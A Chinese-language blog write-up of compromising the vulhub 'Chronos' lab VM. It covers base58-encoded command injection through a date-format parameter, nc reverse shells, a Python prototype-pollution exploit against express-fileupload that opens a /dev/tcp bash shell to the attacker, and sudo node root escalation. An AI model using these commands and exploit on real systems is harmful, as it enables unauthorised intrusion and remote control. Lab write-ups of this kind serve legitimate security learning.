当前位置: 首页 > news >正文

【打靶】vulhub打靶复现系列3---Chronos

【打靶】vulhub打靶复现系列3---Chronos

一、主机探测

结合之前的方法(arp探测、ping检测),因为我们的靶机和攻击机都在第二层,所以打靶时候我们更依赖arp协议

tips:我在运行期间发现,netdiscover窗口没关闭的前提下是可以一直检测的,也就是说在探活期间有新主机加入可以被立即识别到。​

二、端口扫描

nmap -p- -sV -T4 192.168.56.104

ssh可以爆破(hydra)

http直接去访问(先看下80端口下的页面)

三、撕口子--功能点测试

发现页面没有什么东西,两种思路:

  • 1、爬站
  • 2、查看源码查询调用隐藏接口和调用脚本等

发现其源码中有调用一个脚本

发现进行了编码

通过cyberchef美化一下,地址​​CyberChef (gchq.github.io)​​

发现有内容进行过加密,虽说cyberchef可以解,但比这个更有意义的是其调用的脚本(未进行编码加密等)

四、尝试利用——查看源码

去改host文件,将192.168.56.104定向到chronos.local

注:chronos恰好是本靶场的主机名,host文件win的在C盘C:\Windows\System32\drivers\etc\hosts,kali在/etc/hosts

ping一下

配置成功

再次访问网页

发现多出下面这行uts时间

抓包观察发现是下面这个数据包的响应包

当我修改了format后的内容后无法正常回显,因此我需要知道后面的内容是什么编码(经验判断是base64,但不重要)

直接去cyberchef里的magic模块去撞就行

可以猜测出是base58编码

而此时观察请求包会发现很像是linux的data命令

'+Today is %A, %B %d, %Y %H:%M:%S.'

六、验证猜想——配合终端进行验证

尝试在kali上验证猜想

确认了猜想和其运行是一致的

这里是调用了系统指令进行回显的.

因此!!!思路就有了:是否可以去尝试其他的指令来对系统进行攻击呢?

那我执行指令的前提就是原有的指令正常执行的情况下附带或追加个指令进去

方法有

;
|
||
&&
这里需要说明双管道符的运行原则是前面的指令错误时候运行后面的指令;双&&符号恰好相反(前面为真才能执行下一个指令)

因此可以尝试在前面输入准确的情况下执行后面的指令,即用&&尝试,需要注意的是需要进行base58编码才行

成功验证了猜想

七、进一步利用--尝试nc反弹

先去查找有无nc

存在nc,下一步反弹shell

返回包看着貌似不成功但攻击机却接受到了反弹过来的监听

八、nc利用——判断有无-e参数

直接指令判断可以执行就说明有-e参数

在nc命令中,-e参数用于指定要在连接建立后执行的命令。它允许用户在建立网络连接后,将输入和输出重定向到指定的命令,从而实现远程执行命令的功能。

使用-e参数的语法如下:

nc -e  

其中,​​<command>​​是要执行的命令,​​<host>​​是目标主机的IP地址或域名,​​<port>​​是目标主机的端口号。

使用-e参数时,nc命令会在连接建立后立即执行指定的命令,并将连接的输入和输出重定向到该命令。这使得用户可以在远程主机上执行命令,并与其交互,就像在本地终端上一样。

输入指令

nc 192.168.56.103 4444 -e /bin/bash

对其进行编码并执行(注意,这里在kali机上需要重新启动监听)

发现没有回连,采用之前的nc串联来代替-e参数反弹shell

九、精化&骚操作——nc串联获取shell

nc 192.168.56.103 4444 | /bin/bash | nc 192.168.56.103 5555

这里注意:尽量前后都加个空格吧

十、主机信息收集

发现user.txt这个文件需要提权

十一、(常规)提权

# linux提权方法
## 方法一、利用内核漏洞:先name -a查看内核版本,再去查询该版本漏洞进行攻击
## 方法二、suid权限配置错误导致提权,suid命令查看超管用户
## 方法三、利用sudo命令,有些用户可以使用sudo命令进而达到提权的目的但很不幸,这些提权手段都不适用

十二、代码审计

跳到目录下

发现是js写的服务端,这种情况少见(据说少见)

nodejs是基于JavaScript的已有的框架和库,通过了解socket、express等库经常用来开发web

开始审计package.json

发现各个封装好的包/库

审计app.js

这是重定向的url等

base58解码,拼接到cmd的代码

判断agent的字段内容

在agent是chronos时候是正常回显,其他情况返回禁止,有了这段内容的解读之后去尝试一波

成功验证代审的分析结果

其中当agent==chronos时候进一步的判断(下一个if语句)表示

也对应上了之前nc返连的时候的返回包内容,注意这里只是返回这么个内容但却没有阻断这些指令

翻阅过后没有什么显著的利用点,继续深挖

十三、代码审计深挖——找利用点撕口子

发现了未扫出来的8080端口,但这个端口只对8080开放,因此我nmap没扫出来

看来只能指望调用的模块内(express和express-fileupload)存在漏洞了

发现存在漏洞,赶紧索一眼,但这里没给到源码和poc之类的信息,通过科学上网访问到

​​Access denied | www.bleepingcomputer.com used Cloudflare to restrict access​​

通过下面的参考链接来到:​​p6.is(现在让网页篡改了)​​

意思是想要利用这个漏洞就必须开启processNested的方法,好在我们的环境中恰好是开着的

通过上面的文章找到可利用的简化exp

import requestscmd = 'bash -c "bash -i &> /dev/tcp/p6.is/8888 0>&1"'# pollute
requests.post('http://p6.is:7777', files = {'__proto__.outputFunctionName': (None, f"x;console.log(1);process.mainModule.require('child_process').exec('{cmd}');x")})# execute command
requests.get('http://p6.is:7777')

只需要将这段代码中的部分进行替换,替换规则如下如下

p6.is/8888 替换为 kali攻击机的ip/监听端口 
p6.is:7777 替换为 目标ip:目标web应用程序运行端口

 将这段代码复制到kali中,替换内容后编写为py文件,修改后的内容如下;

import requestscmd = 'bash -c "bash -i &> /dev/tcp/192.168.56.103/8888 0>&1"'# pollute
requests.post('http://127.0.0.1:8080', files = {'__proto__.outputFunctionName': (None, f"x;console.log(1);process.mainModule.require('child_process').exec('{cmd}');x")})# execute command
requests.get('http://127.0.0.1:8080')

写好文件之后kali攻击机开启web服务

python3 -m http.server 80 

通过反弹shell将目录移动到/tmp下(因为一般来讲tmp好写入文件)

成功上传exp.py

下一步运行就行

十四、getshell——获取第一个flag

但是获取的仅仅是上面的imara的shell

去看下那个txt能不能看

成功!获取到一个flag了

十五、乘胜追击——获取root用户下的flag

根据靶机描述,root下是有一个flag的,但是我们现在已有的权限不足以去访问

十六、提权——利用sudo下可调用的node

还是之前说的三种方法先试一下,发现可以sudo

意思是不需要输入密码的前提下执行npm和node指令

sudo node -e 'child_process.spawn("/bin/bash", {stdio: [0,1,2]})'

这段代码是通过node指令提权的代码(网上找的)

意思是通过调用node--》生成子进程---》调用root权限的shell

提权成功

 打靶总结

相关文章:

【打靶】vulhub打靶复现系列3---Chronos

【打靶】vulhub打靶复现系列3---Chronos 一、主机探测 结合之前的方法&#xff08;arp探测、ping检测&#xff09;&#xff0c;因为我们的靶机和攻击机都在第二层&#xff0c;所以打靶时候我们更依赖arp协议 tips&#xff1a;我在运行期间发现&#xff0c;netdiscover窗口没关…...

基于Java的新闻发布管理系统设计与实现(源码+lw+部署文档+讲解等)

文章目录 前言具体实现截图论文参考详细视频演示为什么选择我自己的网站自己的小程序&#xff08;小蔡coding&#xff09; 代码参考数据库参考源码获取 前言 &#x1f497;博主介绍&#xff1a;✌全网粉丝10W,CSDN特邀作者、博客专家、CSDN新星计划导师、全栈领域优质创作者&am…...

​CRM系统如何选型?

不少企业都想要使用CRM客户管理系统&#xff0c;但往往在CRM选型阶段就被折腾的五迷三道。CRM系统选型难在哪里&#xff1f;下面我们从企业用户和CRM厂商两方面进行分析&#xff0c;来说说关于CRM系统选型的那些事。 企业自身原因&#xff1a; 1、认知偏差 看到一个观点&…...

山东大学开发可解释深度学习算法 RetroExplainer,4 步识别有机物的逆合成路线

逆合成旨在找到一系列合适的反应物&#xff0c;以高效合成目标产物。这是解决有机合成路线的重要方法&#xff0c;也是有机合成路线设计的最简单、最基本的方法。 早期的逆合成研究多依赖编程&#xff0c;随后这一工作被 AI 接替。然而&#xff0c;现有的逆合成方法多关注单步逆…...

使用antv x6注册vue组件报错,TypeError: Object(...) is not a function (teleport.js:3:23)

typeError: Object(…) is not a function at …/…/…/node_modules/.pnpm/antvx6-vue-shape2.1.1_antvx62.15.2vue2.7.10/node_modules/antv/x6-vue-shape/es/teleport.js (teleport.js:3:23) 点击定位到报错的位置为 reactive应该是vue 2.7.*版本才有的 由于项目在index.ht…...

Python开发利器KeymouseGo,开源的就是香

1、介绍 在日常工作中&#xff0c;经常会遇到一些重复性的工作&#xff0c;不管是点击某个按钮、写文字&#xff0c;打印&#xff0c;还是复制粘贴拷贝资料之类的&#xff0c;需要进行大量的重复操作。按键精灵大家想必都听说过&#xff0c;传统的方式&#xff0c;可以下载个按…...

什么是 Node.js

目标 什么是 Node.js&#xff0c;有什么用&#xff0c;为何能独立执行 JS 代码&#xff0c;演示安装和执行 JS 文件内代码 讲解 Node.js 是一个独立的 JavaScript 运行环境&#xff0c;能独立执行 JS 代码&#xff0c;因为这个特点&#xff0c;它可以用来编写服务器后端的应用…...

08-flex布局

flex布局 1.定位布局- 定位流分类1.1.静态定位1.2.相对定位1.3.绝对定位1.4.固定定位1.5.粘滞定位1.6.z-index - 1.1.静态定位&#xff08; Static positioning&#xff09;- 1.2.什么是相对定位?&#xff08; Relative positioning &#xff09;- 相对定位注意点- 相对定位应…...

HTML5和HTML的区别

HTML5的概念分为广义和狭义两种。 狭义的概念HTML&#xff15;是指HTML语言的第5个版本&#xff0c;而HTML是指&#xff15;之前的版本。 广义的概念HTML5是指由HTML&#xff15;、CSS3、JavaScript所组成的开发环境。而HTML是指HTML语言本身。 1、HTML&#xff15;与HTML狭…...

【Amazon】跨AWS账号级别迁移弹性IP地址操作流程

文章目录 一、实验背景二、适用场景三、实验目标四、实验说明五、实验步骤1. 登录AWS控制台[源账户]2. 启用弹性 IP 地址转移[源账户]3. 接受转移的弹性 IP 地址[目标账户]4. <可选>禁止转移弹性IP地址[源账户] 六、结果验证七、注意事项八、附录1. 多弹性IP地址多AWS账号…...

2023-python pdf转换为PPT代码

from pdf2image import convert_from_path from pptx import Presentation from pptx.util import Inches import os# 用户输入PDF文件路径 pdf_file_path input("请输入PDF文件的路径&#xff1a;")# 提取文件名&#xff08;不包括扩展名&#xff09;作为PPT文件名…...

学会场景提问,让AI“小助手”为我所用

文章目录 一、故事叙述提问举例 二、产品描述提问举例 三、报告撰写提问举例 四、邮件和信件撰写提问举例 五、新间稿和公告撰写提问举例 六、学术论文和专业文章撰写提问举例 我们知道AI技术不仅能够自动生成文章和内容&#xff0c;还可以根据我们的需求提供创意灵感和解决问题…...

前端,CSS,背景颜色跟随轮播图片改变而改变(附源码)

首先看效果&#xff01; 比如轮播图时红色&#xff0c;那么背景的底色也是红色&#xff0c;轮播图时黄色&#xff0c;背景的底色也是黄色&#xff0c;这就是根据轮播图的图片切换&#xff0c;而改变背景颜色随轮播图颜色一致 话不多说&#xff0c;直接上代码&#xff01;非常简…...

对文件夹内的所有图像进行随机调整对比度和应用高斯滤波

import os import random from PIL import Image, ImageEnhance, ImageFilter# 输入和输出文件夹路径 input_folder rE:\深度学习数据集 output_folder rE:\深度学习数据集\对比度、高斯滤波# 确保输出文件夹存在&#xff0c;如果不存在则创建 if not os.path.exists(output_…...

ios上架上传构建版本的windows工具

ios上架的必要步骤&#xff0c;是将打包好的二进制ipa文件&#xff0c;上传到app store的构建版本里&#xff0c;苹果并没有提供上传构建版本的工具&#xff0c;这里我介绍下windows下上传构建版本的方案。 下面说下上传的基本步骤&#xff1a; 第一步&#xff0c;上传前要先…...

arcgis js api 4.x加载geoserver发布的地方坐标系(自定义坐标系)的wms服务

问题描述&#xff1a;之前研究过arcgis js api 4.x加载arcgis server 发布的地方坐标系的wms服务&#xff0c;后来研究出来能正常加载了&#xff0c;想了解的可以看我之前的博客。但是一直困于加载geoserver发布的地方坐标系的wms服务&#xff0c;一直都是用的WMSLayer这个调用…...

人工智能的发展方向:探索智能未来的无限可能

原创 | 文 BFT机器人 人工智能&#xff0c;简称AI&#xff0c;是一门专注于研究计算机如何能像人类一样思考、学习和解决问题的科学。它的创造初衷是构建一个智能系统&#xff0c;能模仿、模拟甚至实现人工智能的各种功能和行为&#xff0c;随着科技的持续进步&#xff0c;人工…...

【23秋软工第7周作业】项目选题

一、如何提出靠谱的项目建议&#xff0c;参见邹欣老师的博客&#xff1a;http://www.cnblogs.com/xinz/archive/2010/12/01/1893323.html 二、选题来源指导&#xff1a; 有创意和独创性的小项目 跟智能数据处理相关 候选题目可以参见课程主页 三、具体汇报任务&#xff1a; …...

谷歌云的利润增长才刚刚开始

来源&#xff1a;猛兽财经 作者&#xff1a;猛兽财经 总结&#xff1a; &#xff08;1&#xff09;自从Google Cloud(谷歌云&#xff09;今年开始盈利以来&#xff0c;投资者都在怀疑这种盈利能力能否持续下去。 &#xff08;2&#xff09;虽然微软Azure目前在全球的人工智能竞…...

【Golang】简记操作:Centos安装、卸载、升级Golang运行环境

目录 安装 1、根据实际需求选择合适的golang版本 如下图&#xff0c;选择合适的版本&#xff0c;右键复制链接 2、在Centos选择合适的目录下载golang的源文件 3、解压golang的源文件&#xff0c;解压完成即可执行go命令 4、设置golang的全局环境变量&#xff08;/etc/pr…...

【Axure高保真原型】引导弹窗

今天和大家中分享引导弹窗的原型模板&#xff0c;载入页面后&#xff0c;会显示引导弹窗&#xff0c;适用于引导用户使用页面&#xff0c;点击完成后&#xff0c;会显示下一个引导弹窗&#xff0c;直至最后一个引导弹窗完成后进入首页。具体效果可以点击下方视频观看或打开下方…...

[2025CVPR]DeepVideo-R1:基于难度感知回归GRPO的视频强化微调框架详解

突破视频大语言模型推理瓶颈,在多个视频基准上实现SOTA性能 一、核心问题与创新亮点 1.1 GRPO在视频任务中的两大挑战 ​安全措施依赖问题​ GRPO使用min和clip函数限制策略更新幅度,导致: 梯度抑制:当新旧策略差异过大时梯度消失收敛困难:策略无法充分优化# 传统GRPO的梯…...

Java 语言特性(面试系列2)

一、SQL 基础 1. 复杂查询 &#xff08;1&#xff09;连接查询&#xff08;JOIN&#xff09; 内连接&#xff08;INNER JOIN&#xff09;&#xff1a;返回两表匹配的记录。 SELECT e.name, d.dept_name FROM employees e INNER JOIN departments d ON e.dept_id d.dept_id; 左…...

【kafka】Golang实现分布式Masscan任务调度系统

要求&#xff1a; 输出两个程序&#xff0c;一个命令行程序&#xff08;命令行参数用flag&#xff09;和一个服务端程序。 命令行程序支持通过命令行参数配置下发IP或IP段、端口、扫描带宽&#xff0c;然后将消息推送到kafka里面。 服务端程序&#xff1a; 从kafka消费者接收…...

ssc377d修改flash分区大小

1、flash的分区默认分配16M、 / # df -h Filesystem Size Used Available Use% Mounted on /dev/root 1.9M 1.9M 0 100% / /dev/mtdblock4 3.0M...

java 实现excel文件转pdf | 无水印 | 无限制

文章目录 目录 文章目录 前言 1.项目远程仓库配置 2.pom文件引入相关依赖 3.代码破解 二、Excel转PDF 1.代码实现 2.Aspose.License.xml 授权文件 总结 前言 java处理excel转pdf一直没找到什么好用的免费jar包工具,自己手写的难度,恐怕高级程序员花费一年的事件,也…...

Qwen3-Embedding-0.6B深度解析:多语言语义检索的轻量级利器

第一章 引言&#xff1a;语义表示的新时代挑战与Qwen3的破局之路 1.1 文本嵌入的核心价值与技术演进 在人工智能领域&#xff0c;文本嵌入技术如同连接自然语言与机器理解的“神经突触”——它将人类语言转化为计算机可计算的语义向量&#xff0c;支撑着搜索引擎、推荐系统、…...

【决胜公务员考试】求职OMG——见面课测验1

2025最新版&#xff01;&#xff01;&#xff01;6.8截至答题&#xff0c;大家注意呀&#xff01; 博主码字不易点个关注吧,祝期末顺利~~ 1.单选题(2分) 下列说法错误的是:&#xff08; B &#xff09; A.选调生属于公务员系统 B.公务员属于事业编 C.选调生有基层锻炼的要求 D…...

让AI看见世界:MCP协议与服务器的工作原理

让AI看见世界&#xff1a;MCP协议与服务器的工作原理 MCP&#xff08;Model Context Protocol&#xff09;是一种创新的通信协议&#xff0c;旨在让大型语言模型能够安全、高效地与外部资源进行交互。在AI技术快速发展的今天&#xff0c;MCP正成为连接AI与现实世界的重要桥梁。…...

成都鼎讯硬核科技!雷达目标与干扰模拟器,以卓越性能制胜电磁频谱战

在现代战争中&#xff0c;电磁频谱已成为继陆、海、空、天之后的 “第五维战场”&#xff0c;雷达作为电磁频谱领域的关键装备&#xff0c;其干扰与抗干扰能力的较量&#xff0c;直接影响着战争的胜负走向。由成都鼎讯科技匠心打造的雷达目标与干扰模拟器&#xff0c;凭借数字射…...